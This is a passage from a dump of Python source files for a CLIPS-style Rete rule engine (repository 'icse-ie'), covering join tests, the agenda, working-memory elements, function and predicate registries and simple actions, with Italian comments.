NotEq, Variable)):\n specificity += 1\n elif issubclass(arg_type, Function):\n # controllo dentro gli argomenti, ma solo\n # per 1 ricorsione\n # e quindi ignorero tutti gli elementi\n # non Eq,NotEq,Variable\n specificity += 1\n for (sub_arg_type, _) in arg_value:\n if issubclass(sub_arg_type, (Eq, NotEq, Variable)):\n specificity += 1\n elif issubclass(predicate, NccPredicate):\n# print \"---\"\n# print predicate\n# print args\n for sub_predicate, sub_args in args:\n if issubclass(sub_predicate, (PositivePredicate, NegativePredicate)):\n for (arg_type, arg_value) in sub_args:\n if issubclass(arg_type, (Eq, NotEq, Variable)):\n specificity += 1\n elif issubclass(arg_type, Function):\n # controllo dentro gli argomenti, ma solo\n # per 1 ricorsione\n # e quindi ignorero tutti gli elementi\n # non Eq,NotEq,Variable\n specificity += 1\n for (sub_arg_type, _) in arg_value:\n if issubclass(sub_arg_type, (Eq, NotEq, Variable)):\n specificity += 1\n \n \n return specificity\n " }, { "alpha_fraction": 0.46230483055114746, "alphanum_fraction": 0.46977680921554565, "avg_line_length": 36.75724792480469, "blob_id": "375aa02b8460d7569e300c94457dd0bf9c356021", "content_id": "56d816a78be8160254979d1d46d5139306d9470c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10439, "license_type": "no_license", "max_line_length": 185, "num_lines": 276, "path": "/src/icse/rete/JoinTest.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 08/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.Token import Token, DummyToken\nfrom icse.rete.WME import WME\nfrom icse.predicates.Predicate import Predicate\nfrom icse.Variable import Variable\nfrom icse.predicates.Eq import Eq\nfrom icse.Function import Function\n\nclass JoinTest(object):\n '''\n JoinTest: rappresenta un test di coerenza per il binding\n di variabili in condizioni differenti rappresentati\n da un JoinNode\n '''\n\n\n def __init__(self, field1, field2, rel_cond_index, predicate):\n '''\n Costruisce un nuovo JoinTest\n @param field1: il tipo di campo da confrontrare di prima WME\n @param field2: il tipo di campo da confrontrare di seconda WME\n @param rel_cond_index: indice relativo del token a cui appartiene la WME da confrontare\n @param predicate: il predicato che eseguira' il confronto \n '''\n \n assert issubclass(predicate, Predicate), \\\n \"predicate non e' un Predicate\"\n \n self.__cond1_field = field1\n self.__cond2_field = field2\n self.__cond2_rel_index = rel_cond_index\n self.__predicate = predicate\n \n \n def perform(self, tok, wme):\n '''\n Esegue un controllo di coerenza per il binding\n delle variabili rappresentate da questa classe\n '''\n \n # Riferimento: perform-join-tests pagina 25\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n if self.__cond2_rel_index > 0:\n # cerco fra i token precedenti\n\n t_tok = tok\n i = self.__cond2_rel_index - 1\n while i > 0:\n t_tok = t_tok.get_parent()\n i -= 1\n \n # ora in t_tok ho proprio il token\n # in cui e' rappresentata la wme che mi serve\n wme2 = t_tok.get_wme()\n \n else:\n # il confronto e' sulla\n # stessa wme\n wme2 = wme\n \n # individuo il campo di confronto\n # risalendo tanti livelli nell'albero dei token\n # quanti sono i rel_cond_index\n \n try:\n \n # il primo elemento da confrontare e' di facile\n # individuazione\n arg1 = wme.get_field(self.__cond1_field)\n \n arg2 = wme2.get_field(self.__cond2_field)\n \n assert issubclass(self.__predicate, Predicate)\n \n return self.__predicate.compare(arg1, arg2)\n except IndexError:\n # Il confronto non e' nemmeno necessario\n # visto che una delle wme non ha nemmeno\n # il numero di campi richiesto per il confronto\n return False\n \n @staticmethod \n def build_tests(atoms, prec_conditions, builtins):\n tests = []\n #atom_index = 0\n tmp_atoms = atoms.keys() if isinstance(atoms, dict) else range(0, len(atoms))\n for key in tmp_atoms:\n atom = atoms[key]\n atom_index = key\n if issubclass(atom[0], Variable):\n # ho trovato una variabile\n symbol = atom[1]\n if symbol != None:\n if builtins.has_key(symbol):\n # la variabile l'ho gia trovata prima\n cond_index, field_index = builtins[symbol]\n jt = JoinTest(atom_index, field_index, len(prec_conditions) - cond_index, atom[0].get_predicate())\n tests.append(jt)\n else:\n builtins[symbol] = (len(prec_conditions), atom_index)\n elif issubclass(atom[0], Function):\n # devo importare un tipo di join speciale\n # che sia in grado di valutarmi\n # la funzione\n \n # considerazioni:\n # se negli argomenti di funzione\n # non appaiono variabili, la funzione puo\n # anche essere valutata staticamente e convertita\n # in un constant-test-node\n # ma questo lavoro dovrebbe gia essere stato fatto\n # al momento del parsing della regola\n # in modo da velocizzare la compilazione\n \n # quindi sono certo che negli argomenti della funzione sia\n # presente ALMENO una variabile\n # ed inoltre la variabile DEVE essere stata gia dichiarata prima\n \n dynop = DynamicOperand(atom[0].get_function(), atom[1], len(prec_conditions), builtins)\n \n fjt = FunctionJoinTest(atom_index, dynop)\n tests.append(fjt)\n \n \n \n #atom_index += 1\n \n #print [(\"[\"+str(x.__cond2_field)+\"] di -\"+str(x.__cond2_rel_index), x.__predicate, \"[\"+ str(x.__cond1_field)+\"]\") for x in tests]\n \n return tests\n \n def __repr__(self):\n return \"[{0}] di {1} {2} [{3}]\".format(\n str(self.__cond2_field),\n str(self.__cond2_rel_index * -1),\n self.__predicate.SIGN if hasattr(self.__predicate, 'SIGN') and self.__predicate.SIGN != None else str(self.__predicate.__name__).split('.')[-1],\n str(self.__cond1_field)\n )\n \n def __eq__(self, other):\n if isinstance(other, JoinTest):\n if self.__cond1_field == other.__cond1_field \\\n and self.__cond2_field == other.__cond2_field \\\n and self.__cond2_rel_index == other.__cond2_rel_index \\\n and self.__predicate == other.__predicate:\n \n return True\n \n return False\n \n def __neq__(self, other):\n return (not self.__eq__(other))\n \n def __hash__(self):\n # speriamo mi faciliti il confronto fra liste di test...\n return hash((self.__cond1_field, self.__cond2_field, self.__cond2_rel_index, self.__predicate))\n \n \n \nclass FunctionJoinTest(JoinTest):\n \n def __init__(self, field_index, dynoperand):\n self._field_index = field_index\n self._dynop = dynoperand\n \n \n def perform(self, tok, wme):\n return (wme.get_field(self._field_index) == self._dynop.valutate(tok, wme))\n \n \n def __repr__(self):\n return \"{0} = [{1}]\".format(\n repr(self._dynop),\n str(self._field_index)\n )\n \n \n \nclass DynamicOperand(object):\n \n def __init__(self, funccls, operands, prec_cond_count, builtins):\n \n import icse.functions as fnc\n \n assert issubclass(funccls, fnc.Function ), \\\n \"funccls non e' un fnc.Function\"\n \n self._function = funccls\n \n self._operands = []\n \n for (op_type, op_value) in operands: \n if issubclass(op_type, Variable):\n cond_index, field_index = builtins[op_value] \n self._operands.append( (prec_cond_count - cond_index, field_index) )\n elif issubclass(op_type, Function):\n # ricorsione\n self._operands.append(DynamicOperand(op_type.get_function(), op_value, prec_cond_count, builtins))\n else:\n self._operands.append(op_value)\n \n def valutate(self, token, wme, builtins_refs = None):\n if builtins_refs == None:\n builtins_refs = {}\n \n #risolvo realmente le variabili\n return self._function.sign()['handler'](*[\n x.valutate(token, wme, builtins_refs) if isinstance(x, DynamicOperand) \\\n else self._resolve_variable(x[0], x[1], token, wme, builtins_refs) if isinstance(x, tuple) \\\n else x \n for x in self._operands \n ])\n \n def _resolve_variable(self, y, x, tok, wme, builtins_refs):\n # metto le variabili gia risolte all'interno\n # di un dizionario per non doverle risolvere\n # nuovamente\n \n dict_key = (y,x)\n \n if builtins_refs.has_key(dict_key):\n return builtins_refs[dict_key]\n \n \n if y > 0:\n # cerco fra i token precedenti\n\n t_tok = tok\n i = y - 1\n while i > 0:\n t_tok = t_tok.get_parent()\n i -= 1\n \n # ora in t_tok ho proprio il token\n # in cui e' rappresentata la wme che mi serve\n wme_var = t_tok.get_wme()\n \n else:\n # il confronto e' sulla\n # stessa wme\n # che e' impossibile..... ma non si sa mai\n wme_var = wme\n \n value = wme_var.get_field(x)\n \n builtins_refs[dict_key] = value\n return value\n \n def __repr__(self,):\n return \"({0}: {1})\".format(\n self._function.sign()['sign'] \\\n if hasattr(self._function, 'sign') \\\n and isinstance(self._function.sign(), dict) \\\n and self._function.sign().has_key('sign') \\\n else str(self._function.__name__).split('.')[-1],\n \", \".join([ \n repr(x) \\\n if isinstance(x, DynamicOperand) \\\n else \"[{0}] di {1}\".format(\n x[1], x[0] * -1 \n ) \\\n if isinstance(x, tuple) \\\n else str(x)\n for x in self._operands\n ])\n ) \n \n " }, { "alpha_fraction": 0.47731396555900574, "alphanum_fraction": 0.4954628050327301, "avg_line_length": 19.846153259277344, "blob_id": "fe16669a5532aecafe59e60b1f92f58d0881cd4c", "content_id": "81e2a813b15253111799e7f51006ca972d332d71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 551, "license_type": "no_license", "max_line_length": 44, "num_lines": 26, "path": "/src/icse/functions/SubString.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass SubString(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'sub-string',\n 'minParams': 3,\n 'handler': SubString.handler\n })\n return sign\n \n @staticmethod\n def handler(start, end, op):\n if start < 1: start = 1\n if end < start: return \"\"\n return str(op)[start-1, end]\n \n " }, { "alpha_fraction": 0.5440613031387329, "alphanum_fraction": 0.5670498013496399, "avg_line_length": 15.466666221618652, "blob_id": "7d78ec2e59b67fc634c72f3c2e37d01319d32b7a", "content_id": "50ef61bf2c9bd6b2ca312a97a54291f4340a874f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 45, "num_lines": 15, "path": "/src/icse/actions/Read.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\n\nclass Read(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n SIGN = 'read'\n \n def executeImpl(self, *args):\n return raw_input() \n \n " }, { "alpha_fraction": 0.5602871775627136, "alphanum_fraction": 0.5627345442771912, "avg_line_length": 32.10810852050781, "blob_id": "1a45ddc8127d2d3ba46261a9ffc7b00be69a3254", "content_id": "661266805448e578a458a055d317b4de32ce8a99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6129, "license_type": "no_license", "max_line_length": 80, "num_lines": 185, "path": "/src/icse/rete/Agenda.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import StrategyManager\nfrom icse.debug import EventManager\n\nclass Agenda(object):\n '''\n Agenda\n '''\n\n\n def __init__(self):\n '''\n Constructor\n '''\n # contiene le attivazioni\n # organizzate come dizionario\n # di lista di attivazioni\n # con indice salience\n self._activations = {}\n # un dizionario di liste di attivazioni di regole\n # indicizzate per nome di regole\n self._fired_activations = {}\n \n self._strategy = StrategyManager.strategy()\n \n def insert(self, pnode, token):\n '''\n Inserisce la nuova attivazione di una regola\n su una sequenza di wmes fra gli attivabili\n e fra quelli in attesa di attivazione\n '''\n from icse.rete.PNode import PNode\n assert isinstance(pnode, PNode)\n\n salience = pnode.get_property('salience', 0)\n\n EventManager.trigger(EventManager.E_RULE_ACTIVATED, pnode, token)\n\n try:\n same_salience_queue = self._activations[salience]\n except KeyError:\n # non c'e' ancora nessuna regola con quella salience\n # non c'e' bisogno di riordino\n self._activations[salience] = [(pnode, token)]\n return\n \n #devo inserire nella posizione giusta nella lista\n self._strategy.insert(pnode, token, same_salience_queue)\n \n def get_activation(self):\n '''\n Restituisce l'attivazione in attesa\n con priorita' massima\n '''\n max_salience = max(self._activations.keys())\n pnode, token = self._activations[max_salience].pop(0)\n if len(self._activations[max_salience]) == 0:\n # rimuove la lista per la salience\n # visto che non ci sono altre regole\n # con quella salience (in questo modo max_salience e' consistente\n del self._activations[max_salience]\n \n \n if self._fired_activations.has_key(pnode.get_name()):\n # uso la lista che gia ho\n fired_per_rule = self._fired_activations[pnode.get_name()]\n else:\n # creo la nuova lista\n # e la inserisco\n fired_per_rule = []\n self._fired_activations[pnode.get_name()] = fired_per_rule\n \n # semplicemente inserisco l'attivazione\n fired_per_rule.append((pnode, token))\n \n return (pnode, token)\n \n def refresh(self, rulename):\n '''\n Resetta tutte le attivazioni di rulename\n con wmes gia attivate\n '''\n try:\n for pnode, token in self._fired_activations[rulename]:\n self.insert(pnode, token)\n except KeyError:\n # la regola non ha attivazioni gia eseguite\n # ignoro la chiamata\n return\n \n def remove(self, pnode, token):\n '''\n Rimuove una attivazione\n dalla lista delle attivazioni\n e degli attivabili\n '''\n \n# print \"----- REGOLA NON PIU' ATTIVA:\"\n# print \"\\tnome: \", pnode.get_name()\n# print \"\\tper token: \"\n# import icse.debug as debug\n# debug.show_token_details(token, indent=12, explodeWme=True, maxDepth=4)\n \n \n salience = pnode.get_property('salience', 0)\n \n EventManager.trigger(EventManager.E_RULE_DEACTIVATED, pnode, token)\n \n try:\n same_salience_queue = self._activations[salience]\n \n# print\n# print \"---\"\n# print same_salience_queue\n# print pnode.get_name()\n# print token.linearize()\n \n same_salience_queue.remove((pnode, token))\n # se non ci sono altre attivazioni\n # rimuovo\n if len(same_salience_queue) == 0:\n del self._activations[salience]\n except (KeyError, ValueError):\n #print e\n # non c'e' nessuna attivazione disponibile?\n # allora da dove viene questo token?\n \n # non c'e' questa attivazione nell'agenda\n # suppongo che stia provando a rimuovere\n # l'attivazione della stessa regola che ha\n # attivato l'azione di rimozione\n pass\n \n # una volta rimosso dagli attivabili\n # devo anche prendermi cura delle attivazioni eseguite\n # e ancora eseguibili, rimuovendolo da quella lista\n try:\n self._fired_activations[pnode.get_name()].remove((pnode, token))\n except (KeyError, ValueError):\n pass\n \n \n def clear(self):\n '''\n Resetta completamente lo stato dell'agenda\n (eliminando anche le informazioni\n riguardanti tutti gli elementi che devono ancora\n essere attivati)\n '''\n self._activations = {}\n self._fired_activations = {}\n\n def refreshAll(self):\n for rulename in self._fired_activations.keys():\n self.refresh(rulename)\n \n def isEmpty(self):\n '''\n Indica se ci sono altre regole in attesa\n di attivazione nella coda o se tutto l'eseguibile\n e' stato eseguito\n '''\n return len(self._activations) == 0\n \n def changeStrategy(self, strategy):\n EventManager.trigger(EventManager.E_STRATEGY_CHANGED, strategy)\n if self._strategy != strategy:\n self._strategy = strategy\n if not self.isEmpty():\n # devo rioirdinare le attivazioni\n # in base alla nuova strategia\n for per_saliance_list in self._activations.values():\n self._strategy.resort(per_saliance_list)\n \n def activations(self):\n saliences = sorted(self._activations.keys(), reverse=True)\n activations = []\n for salience in saliences:\n for (pnode, token) in self._activations[salience]:\n activations.append((salience, pnode, token))\n return activations\n " }, { "alpha_fraction": 0.45681819319725037, "alphanum_fraction": 0.4727272689342499, "avg_line_length": 16.95833396911621, "blob_id": "cd90d4593efceb741681f2d1def4ea37b18b3f79", "content_id": "f5fcb725c36117627150cdcffe56b8ffe44f71f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 440, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/src/icse/functions/Abs.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Abs(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'abs',\n 'minParams': 1,\n 'handler': Abs.handler\n })\n return sign\n \n @staticmethod\n def handler(op):\n return abs(op)\n \n " }, { "alpha_fraction": 0.46341463923454285, "alphanum_fraction": 0.47893568873405457, "avg_line_length": 17.41666603088379, "blob_id": "08a1f2986202f6579e33e8f22c258c201f51ce3c", "content_id": "1050e5df51a586f62bf949ac1fdd601f7a86622a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 451, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/src/icse/functions/Min.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Min(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'min',\n 'minParams': 2,\n 'handler': Min.handler\n })\n return sign\n \n @staticmethod\n def handler(*args):\n return min(list(args))\n \n " }, { "alpha_fraction": 0.5098507404327393, "alphanum_fraction": 0.5118408203125, "avg_line_length": 27.230337142944336, "blob_id": "44d19d2a06321079129b0f1b26454175754ba6c4", "content_id": "02b892b2e58df215bef77945abf34ffb306053f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5025, "license_type": "no_license", "max_line_length": 94, "num_lines": 178, "path": "/src/icse/predicates/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "from icse.predicates.Predicate import Predicate\n\n\nclass Proxy(object):\n '''\n Esegue una redirect della parte operativa degli \n operandi \"Predicati\" verso l'implementazione reale\n '''\n\n '''\n il formato di predicati una volta riempito:\n 'nomepredicato1': {\n 'handler': ref a un callable,\n 'minParams: numero di parametri minimo\n },\n 'nomepredicato2': ...\n '''\n _predicati = {}\n\n _initied = False\n\n @staticmethod \n def call(nome, args = []):\n '''\n Invoca un predicato presente nel dizionario\n di predicati oppure lancia una eccezione se:\n - il tipo o il numero di argomenti\n attesi e' diverso dal richiesto\n - non c'e' una predicato con il nome richiesto\n nel dizionario di funzioni (che viene\n inizializzato all'importazione del package\n '''\n if not Proxy._predicati.has_key(nome):\n raise PredicateNotFoundError(\"Il predicato richiesto non e' definito: \"+str(nome))\n \n func = Proxy._predicati[nome]\n \n return func['handler'](*args)\n\n\n @staticmethod\n def get(nome):\n '''\n Restituisce un predicato presente nel dizionario\n di predicati oppure lancia una eccezione se:\n - il tipo o il numero di argomenti\n attesi e' diverso dal richiesto\n - non c'e' una predicato con il nome richiesto\n nel dizionario di funzioni (che viene\n inizializzato all'importazione del package\n '''\n if not Proxy._predicati.has_key(nome):\n raise PredicateNotFoundError(\"Il predicato richiesto non e' definito: \"+str(nome))\n \n func = Proxy._predicati[nome]\n \n return func['cls']\n \n \n @staticmethod\n def define(funcName, handler, cls):\n if Proxy._predicati.has_key(funcName):\n raise DuplicatePredicateError(\"predicato gia definito: \"+funcName)\n \n if not callable(handler):\n raise InvalidHandlerError(\"L'handler fornito non e' valido\")\n \n Proxy._predicati[funcName] = {\n 'handler' : handler,\n 'cls' : cls\n }\n \n @staticmethod\n def initied():\n return Proxy._initied\n \n @staticmethod\n def set_initied():\n Proxy._initied = True\n \n @staticmethod\n def get_predicates():\n return Proxy._predicati\n \n \n \nclass ProxyError(Exception):\n '''\n Eccezione base lanciata dal Proxy\n '''\n pass\n \nclass DuplicatePredicateError(ProxyError):\n '''\n Lanciata durante il tentativo di ridefinire\n una predicato gia definita\n '''\n pass\n\nclass InvalidHandlerError(ProxyError):\n '''\n Lanciata quando l'handler fornito non e' valido\n '''\n pass\n\nclass PredicateNotFoundError(ProxyError):\n '''\n Lanciata se viene richiesta una predicato non\n presente nel dizionario\n '''\n pass\n \nclass InvalidSignError(ProxyError):\n '''\n Lanciata quando il numero minimo\n di parametri richiesto della predicato\n non e' rispettato\n '''\n pass\n\n\n\nif not Proxy.initied():\n#if False:\n \n# funzioni = [\n# '.Somma',\n# '.Prodotto',\n# '.Sottrazione',\n# '.Divisione',\n# '.Potenza',\n# '.Radice',\n# '.Attributo'\n# ]\n\n import os\n from genericpath import isfile\n \n FUNCS_DIR = os.path.dirname(__file__)\n \n funzioni = ['.'+x[0:-3] for x in os.listdir(FUNCS_DIR) if isfile(FUNCS_DIR + \"/\" +x) \\\n and x[-3:] == '.py' \\\n and x != 'Predicate.py' \\\n and x != 'Variable.py' \\\n and x[0] != '_']\n \n \n for modulo in funzioni:\n if modulo.startswith(\".\"):\n classe = modulo[1:]\n modulo = \"icse.predicates\"+modulo\n else:\n lastdot = modulo.rfind('.')\n classe = modulo[lastdot+1:]\n modulo = modulo[0:lastdot]\n \n #print \"Modulo: \",modulo\n #print \"Classe: \",classe\n \n try:\n imported = __import__(modulo, globals(), locals(), [classe], -1)\n attr = getattr(imported, classe)\n \n #print \"Canonical: \",attr\n \n if issubclass(attr, Predicate):\n sign = attr.sign()\n if isinstance(sign, dict) \\\n and sign.has_key('sign') \\\n and sign['sign'] != None:\n \n Proxy.define(sign['sign'], sign['handler'], sign['cls'])\n except Exception, e:\n # ignora l'elemento che inoltra errori\n # raise\n pass\n \n Proxy.set_initied()\n" }, { "alpha_fraction": 0.5298135280609131, "alphanum_fraction": 0.5332282781600952, "avg_line_length": 26.992647171020508, "blob_id": "4f5b5d9c9d71291e1f9f8f4681ce8af8dafa6453", "content_id": "fe131c27a880848d142a5b80d3894fac57805e4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3807, "license_type": "no_license", "max_line_length": 90, "num_lines": 136, "path": "/src/icse/rete/WME.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 07/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.NegativeJoinResult import NegativeJoinResult\nimport time\n\n\nclass WME(object):\n '''\n Entry della working memory\n '''\n\n\n def __init__(self, fields):\n '''\n Construisce una nuova WME utilizzando una n-upla\n per rappresentare il fatto\n '''\n self.__fields = fields\n self.__alphamemories = []\n self.__tokens = []\n self.__njresults = []\n self.__factid = 0\n \n \n self.__time = time.time()\n \n def set_factid(self, newid):\n self.__factid = newid\n \n def get_factid(self):\n return self.__factid\n \n def remove(self):\n '''\n Ritratta una wme dalla Rete\n '''\n # rimuovo questa wme da tutte le alphamemory\n # in cui e' presente\n \n from icse.rete.Nodes import AlphaMemory\n \n for amem in self.__alphamemories:\n assert isinstance(amem, AlphaMemory), \\\n \"amem non e' AlphaMemory\"\n \n amem.remove_wme(self)\n \n # rimuovo tutti i token ottenuti\n # dal confronto con questa wme\n # (insieme ai discendenti in quanti non piu'\n # validi essendo venuta meno una precondizione)\n # la rimozione del token deve essere richiesta dal token\n #for tok in self.__tokens:\n # tok.delete()\n while len(self.__tokens) > 0:\n tok = self.__tokens[0]\n tok.delete()\n \n for jr in self.__njresults:\n assert isinstance(jr, NegativeJoinResult), \\\n \"jr non e' una NegativeJoinResult\"\n \n jr.get_owner().remove_njresult(jr)\n # eseguo l'attivazione della negative-join\n # se non ci sono altri token\n if jr.get_owner().count_njresults() == 0:\n # bisogna propagare\n for child in jr.get_owner().get_node().get_children():\n child.leftActivation(jr.get_owner(), None)\n \n def add_token(self, t):\n '''\n Aggiunge un nuovo token alla lista dei riferimenti\n dei tokens in cui questa WME e' rappresentata\n '''\n #self.__tokens.insert(0, t)\n self.__tokens.append(t)\n \n def remove_token(self, t):\n '''\n Rimuove il riferimento ad un token dalla lista\n dei token in cui questa WME e' rappresentata\n '''\n self.__tokens.remove(t)\n \n def add_alphamemory(self, am):\n #self.__alphamemories.insert(0, am)\n self.__alphamemories.append(am)\n \n def remove_alphamemory(self, am):\n self.__alphamemories.remove(am)\n \n def add_njresult(self, njr):\n '''\n Aggiunge una NegativeJoinResult alla lista\n '''\n #self.__njresults.insert(0, njr)\n self.__njresults.append(njr)\n \n def remove_njresult(self, njr):\n '''\n Rimuove una NegativeJoinResult dalla lista\n '''\n self.__njresults.remove(njr)\n\n def get_field(self, field):\n '''\n Restituisce il valore rappresentato dal field\n @param field: simbol il campo \n @return: simbol\n '''\n return self.__fields[field]\n \n def get_epoch(self):\n return self.__time\n \n def get_fact(self):\n return self.__fields\n \n def get_length(self):\n return len(self.__fields)\n \n def __hash__(self):\n return hash(tuple(self.__fields))\n \n def __eq__(self, other):\n return ( isinstance(other, WME) and tuple(self.__fields) == tuple(other.__fields))\n\n def __neq__(self, other):\n return not self.__eq__(other)\n \n def __repr__(self):\n return repr(self.__fields)\n" }, { "alpha_fraction": 0.5617977380752563, "alphanum_fraction": 0.5786516666412354, "avg_line_length": 19.176469802856445, "blob_id": "baf47b7871def88120c11bb56541364ad7b8ed77", "content_id": "e7cf421a7786279284311c37cd44695021ac8707", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "no_license", "max_line_length": 54, "num_lines": 17, "path": "/src/icse/actions/Retract.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\n\nclass Retract(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n SIGN = 'retract'\n \n def executeImpl(self, *args):\n facts = self._resolve_args(False, True, *args)\n for fact in facts:\n self.retractFact(fact)\n \n " }, { "alpha_fraction": 0.5061058402061462, "alphanum_fraction": 0.5149253606796265, "avg_line_length": 31.46666717529297, "blob_id": "2b41f468961bc4570e8cfe4303e5b1208a7c048b", "content_id": "63f3402be3ad1cf8f73c6e7057b7ab12c9a400e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 138, "num_lines": 45, "path": "/src/icse/actions/Printout.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\n\nclass Printout(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n \n SIGN = 'printout'\n \n _special_chars = {\n \"crlf\" : \"\\n\"\n }\n \n @staticmethod\n def _translate_symbol(symbol):\n try:\n return Printout._special_chars[symbol]\n except KeyError:\n import sys\n print >> sys.stderr, \\\n \"Carattere speciale {{{0}}} non riconosciuto. Verra' interpretato come stringa\".format(symbol)\n return symbol\n \n def executeImpl(self, deviceId, *args):\n try:\n device = self._devices[deviceId]\n except KeyError:\n import sys\n print >> sys.stderr, \"Dispositivo {0} non valido\".format(deviceId)\n return\n \n args = [self._translate_symbol(x) if isinstance(x, (str,unicode)) and x[0] != '\"' else x for x in list(args)]\n args = self._resolve_args(False, True, *args)\n changed_args = [x[1:-1].replace(\"\\\\t\", \"\\t\").replace(\"\\\\n\",\"\\n\") if isinstance(x, (str, unicode)) and x[0] == '\"' and x[-1] == '\"'\n #else Printout._translate_symbol(x) if isinstance(x, (str, unicode))\n else str(x) if isinstance(x, (list, dict))\n else str(x)\n for x in args]\n \n device.writelines(changed_args)\n \n " }, { "alpha_fraction": 0.5686812996864319, "alphanum_fraction": 0.5879120826721191, "avg_line_length": 17, "blob_id": "785cb4c786dde094636767cb188dcc308224639b", "content_id": "5a08cf786c77eabd764cd36256cd43214f1950ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "no_license", "max_line_length": 46, "num_lines": 20, "path": "/src/BenchTest.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 14/lug/2012\n\n@author: Francesco Capozzo\n'''\n\nimport icse.parser as clipsparser\nimport time\nimport sys\n\nif __name__ == '__main__':\n \n nFile = sys.argv[1]\n\n fr = open(\"../tests/\"+nFile, \"rU\")\n _complete_test = fr.read()\n \n start_time = time.time()\n clipsparser.parse(_complete_test, False)\n print time.time() - start_time, \" seconds\"\n " }, { "alpha_fraction": 0.5323586463928223, "alphanum_fraction": 0.5349387526512146, "avg_line_length": 25.409090042114258, "blob_id": "87bd6e07df6bab3775eb657f586d5d7339d471e0", "content_id": "a42d797ffb70e69996026527de1bdca3207f8884", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4651, "license_type": "no_license", "max_line_length": 163, "num_lines": 176, "path": "/src/icse/functions/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "\n\nclass Proxy(object):\n '''\n Esegue una redirect della parte operativa degli \n operandi \"Funzione\" verso l'implementazione reale\n '''\n\n '''\n il formato di funzioni una volta riempito:\n 'nomefunzione1': {\n 'handler': ref a un callable,\n 'minParams: numero di parametri minimo\n },\n 'nomefunzione2': ...\n '''\n _funzioni = {}\n\n _initied = False\n\n @staticmethod \n def call(nome, args = []):\n '''\n Invoca una funzione presente nel dizionario\n di funzioni oppure lancia una eccezione se:\n - il tipo o il numero di argomenti\n attesi e' diverso dal richiesto\n - non c'e' una funzione con il nome richiesto\n nel dizionario di funzioni (che viene\n inizializzato all'importazione del package\n '''\n if not Proxy._funzioni.has_key(nome):\n raise FunctionNotFoundError(\"La funzione richiesta non e' definita: \"+str(nome))\n \n func = Proxy._funzioni[nome]\n if func['minParams'] > len(args):\n raise InvalidSignError(\"Il numero minimo di parametri (\"+func['minParams']+\") per la funzione \"+nome+\" non e' stato rispettato: \"+len(args)+\" forniti\")\n \n return func['handler'](*args)\n\n \n @staticmethod\n def get(nome):\n if not Proxy._funzioni.has_key(nome):\n raise FunctionNotFoundError(\"La funzione richiesta non e' definita: \"+str(nome))\n \n func = Proxy._funzioni[nome]\n return func['cls']\n \n @staticmethod\n def define(funcName, handler, cls, minParams = 0):\n if Proxy._funzioni.has_key(funcName):\n raise DuplicateFunctionError(\"Funzione gia definita: \"+funcName)\n \n if not callable(handler):\n raise InvalidHandlerError(\"L'handler fornito non e' valido\")\n \n Proxy._funzioni[funcName] = {\n 'handler' : handler,\n 'minParams' : minParams,\n 'cls': cls\n }\n \n @staticmethod\n def initied():\n return Proxy._initied\n \n @staticmethod\n def set_initied():\n Proxy._initied = True\n \n @staticmethod\n def get_functions():\n return Proxy._funzioni\n \n \nclass Function(object):\n '''\n Realizzazione concreta di funzione\n 